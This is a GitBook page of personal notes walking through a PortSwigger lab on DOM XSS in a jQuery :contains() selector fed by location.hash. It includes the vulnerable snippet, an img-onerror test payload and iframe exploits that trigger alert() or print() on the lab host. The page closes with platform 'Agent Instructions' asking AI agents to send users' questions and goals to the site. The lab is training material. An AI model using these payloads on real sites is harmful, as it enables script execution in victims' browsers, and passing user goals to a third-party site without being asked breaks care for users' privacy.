> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/xss/dom-xss-with-jquery-hashchange-event.md).

# DOM XSS with jQuery and hashchange

DOM XSS with jQuery and hashchange notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### DOM XSS in JQuery Selector Sink Using a Hashchange Event

This lab contains a client-side XSS vulnerability on the homepage. The code uses the `$()` selector function of jQuery to automatically target an article whose title has passed via `location.hash`. The goal of the lab is to obtain an exploit that, when a visitor opens it, calls `print()` in his browser.

{% code overflow="wrap" %}

```javascript
$(window).on('hashchange', function(){
   var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
   if (post) post.get(0).scrollIntoView();
});
```

{% endcode %}

* The function recovers the URL fragment (`window.location.hash`), removes the `#` with `slice(1)` and decodes it with `decodeURIComponent`.
* This text is then concatenated directly in a jQuery `:contains(...)` selector. Since there is no exhaust, specially constructed content can break the syntax and inject HTML/JS via vectors such as `onerror` attributes.
* The code only triggers the action when the hash changes (`hashchange`), so a simple initial link without hash will not trigger anything until the fragment is changed on the customer side.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72e739e42d7ac7f428b5f11532a31220b6d6c6c9%2F%7B75B58B79-B8E8-4E61-9F0F-2BA78CC97674%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-421c69bf8c84041bc1ab2aa762f0f0711e190822%2F%7B9FABD413-D13E-4D1F-AE12-C52F44582129%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* We take advantage of the fact that the modification of `#` triggers the event. The exploit must therefore force the victim's browser to load a URL with a fragment containing the payload.
* A common method is to use a `<iframe>` referring to the target page, then, during `onload`, dynamically modify its `src` to add the malicious fragment (which will cause `hashchange` and the execution of the vulnerable selector).
* The injected payload must cause `print()` to be executed in the context of the victim.

Basic injection to cause an image error (test):

```javascript
#<img src="test" onerror=alert(0)>
```

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b9b9d4d12bf36aeb6f7d11bfc4d786f5ff0ef7f%2F%7BD8906418-2217-4140-BAA6-88590C5C9646%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-17a83984dfdbd1ca905175f7bb85234dfc819fbb%2F%7BDF13872F-5551-449B-BD26-9FC153B38BE5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Exploit via iframe — first version (alert):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=alert(0)>'"></iframe>
```

{% endcode %}

* Final Exploit for `print()` (adapted version):

{% code overflow="wrap" %}

```javascript
<iframe src="https://0ae1001d04e8f3e6821eeced00310035.web-security-academy.net/#" onload="this.src += '<img src=0 onerror=print()>'"></iframe>
```

{% endcode %}

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3cd6b8714467f009d04945cec7567ed5aa6722ac%2F%7B1098B7F6-49F7-4AB7-9300-F0E5029C0F16%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/xss/dom-xss-with-jquery-hashchange-event.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
